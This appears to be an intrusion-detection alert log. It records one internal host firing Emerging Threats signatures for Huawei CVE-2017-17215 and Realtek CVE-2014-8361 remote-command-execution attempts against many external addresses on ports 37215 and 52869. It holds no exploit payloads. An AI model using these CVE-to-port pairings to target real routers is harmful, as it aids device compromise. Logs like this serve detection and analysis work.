07/20/24-23:01:24.877747	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	37222	37215	192.168.2.23	144.93.159.93
07/20/24-23:01:41.620386	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	50676	52869	192.168.2.23	69.103.140.112
07/20/24-23:01:31.317774	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	51874	52869	192.168.2.23	220.87.191.244
07/20/24-23:01:45.048479	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	56034	52869	192.168.2.23	124.24.223.164
07/20/24-23:01:11.630769	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	57592	37215	192.168.2.23	41.211.247.167
07/20/24-23:01:43.415157	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	33562	52869	192.168.2.23	134.101.23.241
07/20/24-23:01:13.300689	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	40112	52869	192.168.2.23	94.32.208.135
07/20/24-23:01:51.063023	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	40454	52869	192.168.2.23	18.166.243.209
07/20/24-23:00:57.221504	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	48608	37215	192.168.2.23	175.193.29.172
07/20/24-23:00:59.196993	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	33424	37215	192.168.2.23	157.77.208.129
07/20/24-23:01:11.817771	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	59020	37215	192.168.2.23	197.90.60.195
07/20/24-23:01:20.096752	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	38924	37215	192.168.2.23	157.30.155.108
07/20/24-23:01:45.196200	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	33894	52869	192.168.2.23	74.130.124.117
07/20/24-23:01:47.987185	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	50506	52869	192.168.2.23	70.50.33.70
07/20/24-23:02:20.472956	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	37844	52869	192.168.2.23	88.79.134.29
07/20/24-23:01:07.061779	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	37316	37215	192.168.2.23	157.233.118.145
07/20/24-23:01:04.989160	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	34792	52869	192.168.2.23	60.208.170.61
07/20/24-23:01:20.157620	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	48022	37215	192.168.2.23	174.188.105.70
07/20/24-23:01:42.462291	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	46370	52869	192.168.2.23	187.89.64.185
07/20/24-23:01:42.817395	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	35392	52869	192.168.2.23	137.218.170.227
07/20/24-23:02:12.214887	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	44612	52869	192.168.2.23	78.197.203.89
07/20/24-23:01:52.877228	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	39966	52869	192.168.2.23	18.255.33.143
07/20/24-23:01:04.098080	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	42932	37215	192.168.2.23	197.59.135.254
07/20/24-23:01:14.013456	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	50252	37215	192.168.2.23	128.228.244.234
07/20/24-23:01:32.046185	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	37230	37215	192.168.2.23	197.57.153.94
07/20/24-23:01:47.641942	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	56544	52869	192.168.2.23	113.35.167.52
07/20/24-23:01:11.632393	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	45886	37215	192.168.2.23	93.63.209.119
07/20/24-23:01:41.747994	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	52954	52869	192.168.2.23	135.205.140.164
07/20/24-23:01:14.095462	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	39338	37215	192.168.2.23	197.254.24.88
07/20/24-23:01:57.978712	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	33088	52869	192.168.2.23	72.182.239.64
07/20/24-23:01:04.098909	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	40604	37215	192.168.2.23	197.244.103.67
07/20/24-23:02:05.786490	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	44472	52869	192.168.2.23	190.159.104.180
07/20/24-23:01:42.522141	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	32980	52869	192.168.2.23	125.128.111.151
07/20/24-23:01:44.839991	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	41154	52869	192.168.2.23	182.158.136.187
07/20/24-23:01:27.656128	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	35156	37215	192.168.2.23	41.243.28.32
07/20/24-23:02:09.668312	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	39408	52869	192.168.2.23	199.12.206.97
07/20/24-23:01:42.786028	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	45846	52869	192.168.2.23	8.202.120.94
07/20/24-23:01:55.897722	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	57438	52869	192.168.2.23	98.196.109.144
07/20/24-23:01:14.308979	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	52268	52869	192.168.2.23	20.24.147.17
07/20/24-23:00:59.172943	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	44104	37215	192.168.2.23	41.123.176.91
07/20/24-23:01:44.811941	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	43366	52869	192.168.2.23	78.252.101.116
07/20/24-23:01:45.862503	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	37346	52869	192.168.2.23	169.80.181.136
07/20/24-23:01:45.544315	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	46764	52869	192.168.2.23	8.220.8.58
07/20/24-23:01:46.591274	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	37074	52869	192.168.2.23	187.34.215.18
07/20/24-23:01:08.626717	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	59244	52869	192.168.2.23	23.225.3.54
07/20/24-23:01:08.629616	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	40660	52869	192.168.2.23	135.110.213.163
07/20/24-23:01:42.988854	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	40898	52869	192.168.2.23	77.119.24.21
07/20/24-23:01:21.943544	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	56038	37215	192.168.2.23	27.153.202.8
07/20/24-23:02:12.203120	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	55958	52869	192.168.2.23	209.233.186.203
07/20/24-23:01:40.285038	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	38402	37215	192.168.2.23	157.59.143.10
07/20/24-23:01:42.662466	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	47294	52869	192.168.2.23	112.102.125.164
07/20/24-23:01:42.762943	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	58862	52869	192.168.2.23	70.82.6.11
07/20/24-23:01:02.370068	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	43534	52869	192.168.2.23	168.54.72.251
07/20/24-23:01:27.666100	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	54798	37215	192.168.2.23	138.151.216.98
07/20/24-23:00:59.172943	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	56586	37215	192.168.2.23	41.244.190.175
07/20/24-23:01:44.831438	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	51672	52869	192.168.2.23	60.88.74.46
07/20/24-23:01:58.701160	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	42704	52869	192.168.2.23	80.120.36.80
07/20/24-23:02:11.703257	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	52068	52869	192.168.2.23	92.69.223.90
07/20/24-23:01:42.612597	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	50022	52869	192.168.2.23	198.228.131.204
07/20/24-23:01:07.082771	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	42202	37215	192.168.2.23	197.43.231.118
07/20/24-23:01:31.327808	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	44482	52869	192.168.2.23	91.130.242.221
07/20/24-23:00:59.178062	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	50036	37215	192.168.2.23	88.195.110.211
07/20/24-23:01:43.536328	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	55126	52869	192.168.2.23	94.120.34.76
07/20/24-23:01:20.598095	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	47886	52869	192.168.2.23	113.195.103.231
07/20/24-23:01:42.778303	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	41608	52869	192.168.2.23	63.208.18.63
07/20/24-23:01:47.995637	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	58774	52869	192.168.2.23	59.121.190.157
07/20/24-23:01:44.670958	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	40520	52869	192.168.2.23	186.206.154.241
07/20/24-23:01:48.445925	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	43564	52869	192.168.2.23	78.252.101.116
07/20/24-23:01:24.867858	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	52358	37215	192.168.2.23	157.156.232.12
07/20/24-23:01:41.380677	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	38148	52869	192.168.2.23	110.76.42.187
07/20/24-23:01:58.146170	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	41844	52869	192.168.2.23	166.102.172.20
07/20/24-23:01:24.885895	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	48754	37215	192.168.2.23	85.88.209.175
07/20/24-23:01:45.030115	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	41490	52869	192.168.2.23	158.249.141.193
07/20/24-23:01:45.175511	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	45520	52869	192.168.2.23	42.208.30.144
07/20/24-23:01:54.979156	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	48088	52869	192.168.2.23	70.60.237.131
07/20/24-23:01:44.757783	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	49426	52869	192.168.2.23	71.205.8.144
07/20/24-23:01:51.517722	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	37782	52869	192.168.2.23	189.27.117.219
07/20/24-23:01:27.650337	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	54152	37215	192.168.2.23	153.216.34.227
07/20/24-23:01:02.104571	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	46718	37215	192.168.2.23	41.221.247.167
07/20/24-23:01:44.640160	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	56874	52869	192.168.2.23	50.88.74.31
07/20/24-23:00:59.192052	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	53044	37215	192.168.2.23	157.8.46.59
07/20/24-23:01:00.639011	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	53980	37215	192.168.2.23	157.230.88.31
07/20/24-23:01:27.650975	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	53368	37215	192.168.2.23	197.192.90.143
07/20/24-23:01:45.713934	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	42144	52869	192.168.2.23	201.140.184.210
07/20/24-23:01:47.940882	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	50980	52869	192.168.2.23	59.111.61.71
07/20/24-23:01:42.966322	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	48450	52869	192.168.2.23	37.192.4.35
07/20/24-23:01:49.352576	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	42072	52869	192.168.2.23	93.177.145.85
07/20/24-23:01:09.021221	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	59966	52869	192.168.2.23	43.227.14.32
07/20/24-23:01:44.868029	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	43854	52869	192.168.2.23	189.200.249.59
07/20/24-23:01:52.161566	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	47924	52869	192.168.2.23	20.28.196.248
07/20/24-23:01:08.677189	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	37400	52869	192.168.2.23	133.46.67.74
07/20/24-23:01:53.625100	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	46808	52869	192.168.2.23	38.184.175.46
07/20/24-23:00:57.223887	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	51376	37215	192.168.2.23	41.76.204.184
07/20/24-23:01:02.456435	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	35924	52869	192.168.2.23	47.10.251.72
07/20/24-23:01:40.336908	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	46646	37215	192.168.2.23	13.232.148.145
07/20/24-23:01:34.044223	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	53408	37215	192.168.2.23	157.25.31.241
07/20/24-23:01:41.205247	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	39042	52869	192.168.2.23	124.109.117.107
07/20/24-23:01:50.313969	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	48368	52869	192.168.2.23	198.250.155.116
07/20/24-23:01:41.405709	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	60722	52869	192.168.2.23	156.69.102.152
07/20/24-23:01:59.063098	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	55714	52869	192.168.2.23	70.183.86.6
07/20/24-23:02:20.410049	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	38492	52869	192.168.2.23	24.105.77.87
07/20/24-23:01:34.044152	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	59462	37215	192.168.2.23	197.79.71.16
07/20/24-23:01:00.638418	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	36698	37215	192.168.2.23	157.83.139.204
07/20/24-23:02:06.935770	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	36748	52869	192.168.2.23	64.225.111.147
07/20/24-23:01:20.140632	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	33620	37215	192.168.2.23	18.226.20.52
07/20/24-23:01:24.894099	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	56780	37215	192.168.2.23	157.20.66.65
07/20/24-23:01:44.099799	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	54386	52869	192.168.2.23	216.41.229.158
07/20/24-23:01:11.636599	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	56778	37215	192.168.2.23	157.169.172.215
07/20/24-23:01:20.592479	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	37526	52869	192.168.2.23	151.154.71.43
07/20/24-23:01:14.013095	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	49406	37215	192.168.2.23	157.2.94.148
07/20/24-23:01:08.575986	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	43452	52869	192.168.2.23	193.14.204.18
07/20/24-23:01:54.859884	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	38430	52869	192.168.2.23	17.36.200.98
07/20/24-23:01:11.820149	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	60704	37215	192.168.2.23	184.144.178.174
07/20/24-23:01:49.011895	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	50016	52869	192.168.2.23	118.229.228.64
07/20/24-23:01:53.261844	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	36204	52869	192.168.2.23	71.66.59.209
07/20/24-23:01:46.961079	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	50102	52869	192.168.2.23	80.12.29.225
07/20/24-23:01:56.127051	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	60470	52869	192.168.2.23	205.96.176.194
07/20/24-23:01:08.659435	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	52074	52869	192.168.2.23	132.182.11.252
07/20/24-23:01:55.572517	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	45208	52869	192.168.2.23	213.9.81.218
07/20/24-23:01:45.134490	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	34732	52869	192.168.2.23	37.158.125.18
07/20/24-23:01:31.316196	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	59750	52869	192.168.2.23	186.254.145.51
07/20/24-23:01:41.328264	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	44472	52869	192.168.2.23	34.239.73.219
07/20/24-23:01:01.479730	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	46728	52869	192.168.2.23	13.18.63.141
07/20/24-23:01:20.149798	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	52948	37215	192.168.2.23	41.79.99.46
07/20/24-23:01:58.364551	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	55070	52869	192.168.2.23	63.226.8.25
07/20/24-23:01:59.096276	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	43620	52869	192.168.2.23	120.123.66.167
07/20/24-23:01:40.331150	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	38606	37215	192.168.2.23	74.131.241.182
07/20/24-23:01:52.720668	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	36286	52869	192.168.2.23	210.199.180.209
07/20/24-23:01:41.328264	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	39722	52869	192.168.2.23	213.180.197.99
07/20/24-23:01:08.609855	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	38310	52869	192.168.2.23	47.10.251.72
07/20/24-23:01:00.636533	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	45164	37215	192.168.2.23	41.244.169.9
07/20/24-23:01:47.231819	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	45896	52869	192.168.2.23	94.187.41.215
07/20/24-23:01:52.609595	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	33306	52869	192.168.2.23	132.173.198.51
07/20/24-23:01:53.697003	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	55182	52869	192.168.2.23	138.65.97.97
07/20/24-23:01:41.533244	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	57514	52869	192.168.2.23	218.79.146.2
07/20/24-23:01:21.915268	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	54320	37215	192.168.2.23	197.79.255.113
07/20/24-23:02:00.856771	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	42370	52869	192.168.2.23	164.216.95.45
07/20/24-23:00:57.222128	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	38764	37215	192.168.2.23	60.176.144.80
07/20/24-23:01:44.210939	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	47266	52869	192.168.2.23	38.105.221.242
07/20/24-23:01:08.686799	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	36000	52869	192.168.2.23	219.114.72.114
07/20/24-23:01:20.592206	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	34858	52869	192.168.2.23	85.161.3.79
07/20/24-23:01:42.115230	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	48868	52869	192.168.2.23	156.42.191.231
07/20/24-23:01:44.411586	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	37476	52869	192.168.2.23	87.132.55.249
07/20/24-23:01:27.766239	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	53782	37215	192.168.2.23	197.105.4.242
07/20/24-23:01:24.929013	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	50676	37215	192.168.2.23	157.51.204.149
07/20/24-23:01:43.305781	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	50004	52869	192.168.2.23	207.164.129.53
07/20/24-23:01:44.765093	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	46870	52869	192.168.2.23	60.118.116.115
07/20/24-23:01:45.569319	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	51334	52869	192.168.2.23	93.25.182.143
07/20/24-23:01:07.054782	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	46900	37215	192.168.2.23	41.0.81.109
07/20/24-23:01:11.817771	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	60098	37215	192.168.2.23	94.180.106.123
07/20/24-23:00:59.148144	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	60312	37215	192.168.2.23	41.73.125.205
07/20/24-23:01:13.185981	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	59030	52869	192.168.2.23	218.129.227.171
07/20/24-23:01:46.929722	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	40550	52869	192.168.2.23	146.185.97.186
07/20/24-23:00:57.221646	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	57502	37215	192.168.2.23	157.189.184.171
07/20/24-23:01:01.473903	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	52872	52869	192.168.2.23	173.57.134.38
07/20/24-23:00:59.204975	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	53706	37215	192.168.2.23	157.34.104.183
07/20/24-23:01:26.849112	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	32780	37215	192.168.2.23	41.245.227.231
07/20/24-23:01:46.298100	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	57352	52869	192.168.2.23	203.221.6.21
07/20/24-23:01:49.033216	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	47750	52869	192.168.2.23	1.7.30.66
07/20/24-23:01:07.075937	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	51020	37215	192.168.2.23	157.136.153.134
07/20/24-23:01:48.376233	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	42130	52869	192.168.2.23	101.42.79.184
07/20/24-23:01:51.056493	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	36906	52869	192.168.2.23	70.101.195.243
07/20/24-23:01:04.147433	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	34558	52869	192.168.2.23	201.250.207.152
07/20/24-23:01:08.663245	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	37190	52869	192.168.2.23	99.2.133.89
07/20/24-23:01:25.215598	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	49828	52869	192.168.2.23	32.85.156.168
07/20/24-23:01:08.631492	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	44358	52869	192.168.2.23	223.193.169.99
07/20/24-23:01:27.666100	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	41150	37215	192.168.2.23	148.251.22.209
07/20/24-23:01:40.311124	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	50952	37215	192.168.2.23	197.136.132.148
07/20/24-23:01:44.779503	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	45168	52869	192.168.2.23	147.163.143.195
07/20/24-23:01:47.858878	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	54142	52869	192.168.2.23	34.139.90.241
